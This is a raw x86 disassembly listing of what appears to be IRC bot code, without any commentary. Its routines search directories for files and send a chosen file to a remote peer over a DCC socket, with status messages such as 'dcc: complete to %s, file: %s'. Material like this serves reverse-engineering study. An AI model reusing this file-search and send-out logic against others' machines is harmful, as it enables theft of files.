		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 285032Bh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	near ptr byte_5EA1BD
		nop
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		nop
		call	near ptr 2850000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60BD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A20
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 28403D9h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2840000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 28308B0h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 28301C6h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 28301C6h


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443AF4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F64
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	near ptr byte_5EA1BD
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 28301C6h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


